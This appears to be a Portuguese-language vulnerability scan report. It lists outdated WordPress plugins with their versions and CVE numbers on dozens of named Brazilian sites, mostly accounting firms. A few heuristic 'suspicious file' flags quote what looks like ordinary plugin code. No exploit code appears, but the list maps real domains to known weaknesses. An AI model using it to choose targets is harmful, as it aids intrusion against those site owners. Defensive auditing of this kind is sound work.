Plugin vulnerável: revslider 6.2.22 (CVE-2024-34444, CVE-2024-8107, CVE-2026-9050, CVE-2026-6728, CVE-2025-10249, CVE-2024-4637, CVE-2023-2359, CVE-2024-34443, CVE-2023-47772, CVE-2024-4092, CVE-2024-37449, CVE-2023-6528, CVE-2024-4581, CVE-2023-47784, CVE-2025-9217, CVE-2024-2306) em devproesecont.com.br

Plugin vulnerável: js_composer 6.4.0 (CVE-2025-4968, CVE-2020-28650, CVE-2024-5708, CVE-2025-11161, CVE-2024-1841, CVE-2024-5265, CVE-2025-11160, CVE-2025-10006, CVE-2024-1842, CVE-2023-31213, CVE-2024-1805, CVE-2024-5709, CVE-2025-4965, CVE-2026-45436, CVE-2024-1840, CVE-2025-7502) em devproesecont.com.br

Plugin vulnerável: jet-blocks 1.3.4 (CVE-2025-53988, CVE-2023-48762, CVE-2024-7147, CVE-2023-48756, CVE-2025-30987, CVE-2025-53989, CVE-2023-48760, CVE-2026-61976, CVE-2023-48761, CVE-2025-39451, CVE-2025-49934) em devvitaecontabil.com.br

Plugin vulnerável: jet-elements 2.6.7 (CVE-2023-48762, CVE-2026-24958, CVE-2026-65465, CVE-2025-53983, CVE-2023-39157, CVE-2024-7145, CVE-2025-39448, CVE-2023-48760, CVE-2023-48761, CVE-2025-64355, CVE-2025-53982, CVE-2024-7144, CVE-2025-39447, CVE-2023-48759, CVE-2025-55714, CVE-2025-0371, CVE-2025-49939) em devvitaecontabil.com.br

Plugin vulnerável: jet-engine 3.0.5 (CVE-2026-56068, CVE-2025-49938, CVE-2025-26870, CVE-2025-53196, CVE-2023-48762, CVE-2026-54189, CVE-2026-4352, CVE-2026-54187, CVE-2023-48758, CVE-2025-67923, CVE-2026-52706, CVE-2025-68495, CVE-2026-49084, CVE-2025-69333, CVE-2026-54188, CVE-2026-65467, CVE-2023-48761, CVE-2025-53194, CVE-2026-28134, CVE-2023-48757, CVE-2026-49075, CVE-2023-1406, CVE-2025-54688, CVE-2026-42774, CVE-2026-32355, CVE-2026-4662, CVE-2025-0369, CVE-2026-49074, CVE-2025-53195, CVE-2026-49076, CVE-2026-12360) em devvitaecontabil.com.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em fausscontabilidade.com.br

Plugin vulnerável: gp-premium 2.3.2 (CVE-2024-3469, CVE-2026-66627) em fausscontabilidade.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.130 (CVE-2026-17555, CVE-2026-19725) em fausscontabilidade.com.br

Plugin vulnerável: all-in-one-wp-migration 7.106 (CVE-2026-17533, CVE-2026-19949) em fortecontabildev.cnt.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em fortecontabildev.cnt.br

Plugin vulnerável: jeg-elementor-kit 3.2.8 (CVE-2026-65549) em fortecontabildev.cnt.br

Plugin vulnerável: elementskit-lite 3.8.2 (CVE-2026-13393, CVE-2026-49052, CVE-2026-4362, CVE-2026-13392, CVE-2026-49053) em gfc.cnt.br

Plugin vulnerável: gp-premium 2.4.1 (CVE-2026-66627) em gfc.cnt.br

Plugin vulnerável: wpforms-lite 1.8.9.6 (CVE-2025-3794, CVE-2024-11223, CVE-2024-11205, CVE-2024-10593, CVE-2026-15782, CVE-2026-40764, CVE-2024-13403, CVE-2024-56276, CVE-2026-48835, CVE-2026-25339, CVE-2026-32446, CVE-2026-12127, CVE-2026-7792, CVE-2024-7056) em gfc.cnt.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em gmhdev.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em gmhdev.com.br

Plugin vulnerável: jeg-elementor-kit 3.2.8 (CVE-2026-65549) em gmhdev.com.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em iluminatconsultoria.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em iluminatconsultoria.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.130 (CVE-2026-17555, CVE-2026-19725) em iluminatconsultoria.com.br

Plugin vulnerável: cleantalk-spam-protect 6.73.1 (CVE-2026-65437, CVE-2026-8071) em integradacontabilidade.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em integradacontabilidade.com.br

Plugin vulnerável: insert-headers-and-footers 2.3.4 (CVE-2026-8832) em integradacontabilidade.com.br

Plugin vulnerável: elementskit-lite 3.9.6 (CVE-2026-13393, CVE-2026-49052, CVE-2026-13392, CVE-2026-49053) em jcont.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em jcont.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.129 (CVE-2026-17555, CVE-2026-19725) em jcont.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em jobpar.com.br

Plugin vulnerável: wpmudev-updates 4.11.30 (CVE-2026-15459) em jobpar.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.130 (CVE-2026-17555, CVE-2026-19725) em jobpar.com.br

Plugin vulnerável: all-in-one-wp-migration 7.106 (CVE-2026-17533, CVE-2026-19949) em lp.grupodpg.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em lp.grupodpg.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.130 (CVE-2026-17555, CVE-2026-19725) em lp.grupodpg.com.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em mcxcontabilmkt.com.br

Plugin vulnerável: gp-premium 2.3.2 (CVE-2024-3469, CVE-2026-66627) em mcxcontabilmkt.com.br

Plugin vulnerável: jeg-elementor-kit 3.2.9 (CVE-2026-65549) em mcxcontabilmkt.com.br

Plugin vulnerável: all-in-one-wp-migration 7.109 (CVE-2026-19949) em mdfcontabilidade.com.br

Plugin vulnerável: templately 3.6.8 (CVE-2026-66667, CVE-2026-18438, CVE-2026-15359) em mdfcontabilidade.com.br

Plugin vulnerável: wpmudev-updates 5.0.0 (CVE-2026-15459) em mdfcontabilidade.com.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em methodoscontabil.com.br

Plugin vulnerável: post-smtp 3.8.0 (CVE-2026-2559, CVE-2026-3090) em methodoscontabil.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.129 (CVE-2026-17555, CVE-2026-19725) em methodoscontabil.com.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em mevcont.com.br

Plugin vulnerável: essential-addons-for-elementor-lite 6.6.10 (CVE-2026-15145, CVE-2026-18039, CVE-2026-15155, CVE-2026-15156) em mevcont.com.br

Plugin vulnerável: wpmudev-updates 5.0.0 (CVE-2026-15459) em mevcont.com.br

Plugin vulnerável: all-in-one-wp-migration 7.106 (CVE-2026-17533, CVE-2026-19949) em modernacont.com.br

Plugin vulnerável: elementskit-lite 3.9.9 (CVE-2026-13393, CVE-2026-13392) em modernacont.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em modernacont.com.br

Plugin vulnerável: all-in-one-wp-migration 7.109 (CVE-2026-19949) em nuvord.com.br

Plugin vulnerável: templately 3.6.5 (CVE-2026-66667, CVE-2026-18438, CVE-2026-15359) em nuvord.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.129 (CVE-2026-17555, CVE-2026-19725) em nuvord.com.br

Plugin vulnerável: all-in-one-wp-migration 7.109 (CVE-2026-19949) em objetivasolucoescontabeis.com.br

Plugin vulnerável: elementskit-lite 3.9.0 (CVE-2026-13393, CVE-2026-49052, CVE-2026-13392, CVE-2026-49053) em objetivasolucoescontabeis.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em objetivasolucoescontabeis.com.br

Plugin vulnerável: all-in-one-wp-migration 7.106 (CVE-2026-17533, CVE-2026-19949) em parceriaac.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em parceriaac.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.130 (CVE-2026-17555, CVE-2026-19725) em parceriaac.com.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em piperun.grupodpg.com.br

Plugin vulnerável: gp-premium 2.3.2 (CVE-2024-3469, CVE-2026-66627) em piperun.grupodpg.com.br

Plugin vulnerável: litespeed-cache 7.8.1 (CVE-2026-18978) em piperun.grupodpg.com.br

Plugin vulnerável: all-in-one-wp-migration 7.106 (CVE-2026-17533, CVE-2026-19949) em plataforma-1-02.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em plataforma-1-02.com.br

Plugin vulnerável: jeg-elementor-kit 3.2.8 (CVE-2026-65549) em plataforma-1-02.com.br

Plugin vulnerável: all-in-one-wp-migration 7.106 (CVE-2026-17533, CVE-2026-19949) em plataforma-1-03.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em plataforma-1-03.com.br

Plugin vulnerável: jeg-elementor-kit 3.2.8 (CVE-2026-65549) em plataforma-1-03.com.br

Plugin vulnerável: all-in-one-wp-migration 7.106 (CVE-2026-17533, CVE-2026-19949) em plataforma-1-07.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em plataforma-1-07.com.br

Plugin vulnerável: jeg-elementor-kit 3.2.8 (CVE-2026-65549) em plataforma-1-07.com.br

Plugin vulnerável: all-in-one-wp-migration 7.106 (CVE-2026-17533, CVE-2026-19949) em plataforma-1-08.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em plataforma-1-08.com.br

Plugin vulnerável: jeg-elementor-kit 3.2.8 (CVE-2026-65549) em plataforma-1-08.com.br

Plugin vulnerável: all-in-one-wp-migration 7.106 (CVE-2026-17533, CVE-2026-19949) em plataforma-2-02.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em plataforma-2-02.com.br

Plugin vulnerável: jeg-elementor-kit 3.2.8 (CVE-2026-65549) em plataforma-2-02.com.br

Plugin vulnerável: all-in-one-wp-migration 7.106 (CVE-2026-17533, CVE-2026-19949) em plataforma-2-03.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em plataforma-2-03.com.br

Plugin vulnerável: jeg-elementor-kit 3.2.8 (CVE-2026-65549) em plataforma-2-03.com.br

Plugin vulnerável: all-in-one-wp-migration 7.109 (CVE-2026-19949) em plataforma-2-04.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em plataforma-2-04.com.br

Plugin vulnerável: jeg-elementor-kit 3.2.8 (CVE-2026-65549) em plataforma-2-04.com.br

Plugin vulnerável: all-in-one-wp-migration 7.109 (CVE-2026-19949) em plataforma-2-05.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em plataforma-2-05.com.br

Plugin vulnerável: jeg-elementor-kit 3.2.8 (CVE-2026-65549) em plataforma-2-05.com.br

Plugin vulnerável: all-in-one-wp-migration 7.106 (CVE-2026-17533, CVE-2026-19949) em plataforma-3-01.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em plataforma-3-01.com.br

Plugin vulnerável: jeg-elementor-kit 3.2.8 (CVE-2026-65549) em plataforma-3-01.com.br

Plugin vulnerável: all-in-one-wp-migration 7.106 (CVE-2026-17533, CVE-2026-19949) em plataforma-3-04.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em plataforma-3-04.com.br

Plugin vulnerável: jeg-elementor-kit 3.2.8 (CVE-2026-65549) em plataforma-3-04.com.br

Arquivo suspeito (heurística de malware, revisar): /planos.prone.com.br/wp-content/plugins/woocommerce/vendor/composer/installers/src/Composer/Installers/MicroweberInstaller.php — evidência: ]); $vars['install_item_dir'] = preg_replace('/elements-$/', '', $vars['install_item_dir']); $vars['install_item_dir'] = preg_replace('/-element

Arquivo suspeito (heurística de malware, revisar): /planos.prone.com.br/wp-content/plugins/post-smtp/Postman/Mobile/includes/phpqrcode/index.php — evidência: $filename = $PNG_TEMP_DIR.'test'.md5($_REQUEST['data'].'|'.$errorCorrectionLevel.'|'.$matrixPointSize).'.png'; QRcode::png($_REQUEST['data'], $fi

Arquivo suspeito (heurística de malware, revisar): /planos.prone.com.br/wp-includes/user.php — evidência: ); return; } $hash = md5( $_POST['email'] . time() . wp_rand() ); $new_user_email = array( 'hash' => $hash, 'newemail' => $_POST[

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em sartisarti.com.br

Plugin vulnerável: revslider 5.4.6 (CVE-2024-34444, CVE-2024-8107, CVE-2025-10249, CVE-2024-4637, CVE-2023-2359, CVE-2024-34443, CVE-2023-47772, CVE-2024-4092, CVE-2024-37449, CVE-2023-6528, CVE-2024-4581, CVE-2023-47784, CVE-2025-9217, CVE-2024-2306) em sartisarti.com.br

Plugin vulnerável: js_composer 6.7.0 (CVE-2025-4968, CVE-2024-5708, CVE-2025-11161, CVE-2024-1841, CVE-2024-5265, CVE-2025-11160, CVE-2025-10006, CVE-2024-1842, CVE-2023-31213, CVE-2024-1805, CVE-2024-5709, CVE-2025-4965, CVE-2026-45436, CVE-2024-1840, CVE-2025-7502) em sartisarti.com.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em t2ycontabil.com.br

Plugin vulnerável: elementskit-lite 3.9.1 (CVE-2026-13393, CVE-2026-49052, CVE-2026-13392, CVE-2026-49053) em t2ycontabil.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em t2ycontabil.com.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em 2peneus.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.130 (CVE-2026-17555, CVE-2026-19725) em 2peneus.com.br

Plugin vulnerável: all-in-one-wp-migration 7.109 (CVE-2026-19949) em abbusinessfinancial.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em abbusinessfinancial.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em abreubarros.com.br

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/hivetime-manager/hivetime-manager.php — evidência: wp_strip_all_tags($css); $css = preg_replace('/expression\\s*\\(/i', '', $css); $css = preg_replace('/javascript\\s*:/i', '', $css); $cs

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em acertha.com.br

Plugin vulnerável: gp-premium 2.3.1 (CVE-2024-3469, CVE-2026-66627) em acertha.com.br

Plugin vulnerável: all-in-one-wp-migration 7.106 (CVE-2026-17533, CVE-2026-19949) em acibarueri.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em acibarueri.com.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em advogadovip.com.br

Plugin vulnerável: gp-premium 2.4.0 (CVE-2024-3469, CVE-2026-66627) em advogadovip.com.br

Plugin vulnerável: Ultimate_VC_Addons 3.19.6 (CVE-2025-48088, CVE-2025-11814, CVE-2026-15382, CVE-2024-5254, CVE-2023-46205, CVE-2024-5255, CVE-2024-5252, CVE-2026-34889, CVE-2023-46211, CVE-2024-5253, CVE-2026-28038, CVE-2024-5251, CVE-2023-51402) em afiscont.com.br

Plugin vulnerável: js_composer 6.7.0 (CVE-2025-4968, CVE-2024-5708, CVE-2025-11161, CVE-2024-1841, CVE-2024-5265, CVE-2025-11160, CVE-2025-10006, CVE-2024-1842, CVE-2023-31213, CVE-2024-1805, CVE-2024-5709, CVE-2025-4965, CVE-2026-45436, CVE-2024-1840, CVE-2025-7502) em afiscont.com.br

Plugin vulnerável: jet-engine 3.8.10 (CVE-2026-56068, CVE-2026-54189, CVE-2026-54187, CVE-2026-52706, CVE-2026-54188, CVE-2026-65467, CVE-2026-12360) em alliancec.com.br

Plugin vulnerável: wpmudev-updates 4.11.30 (CVE-2026-15459) em alliancec.com.br

Plugin vulnerável: all-in-one-wp-migration 7.106 (CVE-2026-17533, CVE-2026-19949) em amscontabilidade.com

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em amscontabilidade.com

Plugin vulnerável: all-in-one-wp-migration 7.109 (CVE-2026-19949) em astroncontabil.com.br

Plugin vulnerável: gp-premium 2.3.2 (CVE-2024-3469, CVE-2026-66627) em astroncontabil.com.br

Plugin vulnerável: all-in-one-wp-migration 7.109 (CVE-2026-19949) em besconsultoria.com.br

Plugin vulnerável: jeg-elementor-kit 3.2.8 (CVE-2026-65549) em besconsultoria.com.br

Plugin vulnerável: all-in-one-wp-migration 7.106 (CVE-2026-17533, CVE-2026-19949) em biank.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em biank.com.br

Plugin vulnerável: gp-premium 2.3.2 (CVE-2024-3469, CVE-2026-66627) em blog.contacomigob4.com.br

Plugin vulnerável: wpmudev-updates 4.11.29 (CVE-2026-15459) em blog.contacomigob4.com.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em bm12.com.br

Plugin vulnerável: gp-premium 2.2.2 (CVE-2024-3469, CVE-2026-66627) em bm12.com.br

Plugin vulnerável: unlimited-elements-for-elementor-premium 1.5.98 (CVE-2025-13692) em bnascimento.com.br

Plugin vulnerável: wp-cerber 9.0 (CVE-2022-4100, CVE-2022-2939, CVE-2022-4417, CVE-2022-4712, WF-dc5050dc-39de-4544-bf51-0927b2972d34) em bnascimento.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em brainercontabilidade.com.br

Plugin vulnerável: wpmudev-updates 5.0.0 (CVE-2026-15459) em brainercontabilidade.com.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em calculoscontabilidade.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em calculoscontabilidade.com.br

Plugin vulnerável: gp-premium 2.5.2 (CVE-2026-66627) em calderoncontabilidade.com.br

Plugin vulnerável: wpmudev-updates 5.0.0 (CVE-2026-15459) em calderoncontabilidade.com.br

Plugin vulnerável: gp-premium 2.4.0-alpha.1 (CVE-2026-66627) em calilcontabil.com.br

Plugin vulnerável: jet-elements 2.6.17.1 (CVE-2026-24958, CVE-2026-65465, CVE-2025-53983, CVE-2024-7145, CVE-2025-39448, CVE-2025-64355, CVE-2025-53982, CVE-2024-7144, CVE-2025-39447, CVE-2025-55714, CVE-2025-0371, CVE-2025-49939) em calilcontabil.com.br

Plugin vulnerável: all-in-one-wp-migration 7.106 (CVE-2026-17533, CVE-2026-19949) em cestacorpdev.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em cestacorpdev.com.br

Plugin vulnerável: all-in-one-wp-migration 7.109 (CVE-2026-19949) em contabilcircular.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em contabilcircular.com.br

Plugin vulnerável: all-in-one-wp-migration 7.109 (CVE-2026-19949) em contabilidadefuturobrasil.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em contabilidadefuturobrasil.com.br

Plugin vulnerável: all-in-one-wp-migration 7.107 (CVE-2026-17533, CVE-2026-19949) em contabilidademiller.com.br

Plugin vulnerável: gp-premium 2.5.5 (CVE-2026-66627) em contabilidademiller.com.br

Plugin vulnerável: gp-premium 2.3.1 (CVE-2024-3469, CVE-2026-66627) em contabilnader.com.br

Plugin vulnerável: jet-blog 2.3.1 (CVE-2023-48762, CVE-2025-26958, CVE-2025-49932, CVE-2025-68503, CVE-2023-48760, CVE-2023-48761, CVE-2025-49933, CVE-2026-52696, CVE-2025-26744) em contabilnader.com.br

Plugin vulnerável: gp-premium 2.3.2 (CVE-2024-3469, CVE-2026-66627) em contadornotopo.com.br

Plugin vulnerável: jeg-elementor-kit 3.2.8 (CVE-2026-65549) em contadornotopo.com.br

Plugin vulnerável: all-in-one-wp-migration 7.109 (CVE-2026-19949) em contecmaiscontabilidade.com.br

Plugin vulnerável: wpvivid-backuprestore 0.9.129 (CVE-2026-17555, CVE-2026-19725) em contecmaiscontabilidade.com.br

Plugin vulnerável: all-in-one-wp-migration 7.109 (CVE-2026-19949) em controlservice.cnt.br

Plugin vulnerável: jet-blog 2.3.1 (CVE-2023-48762, CVE-2025-26958, CVE-2025-49932, CVE-2025-68503, CVE-2023-48760, CVE-2023-48761, CVE-2025-49933, CVE-2026-52696, CVE-2025-26744) em controlservice.cnt.br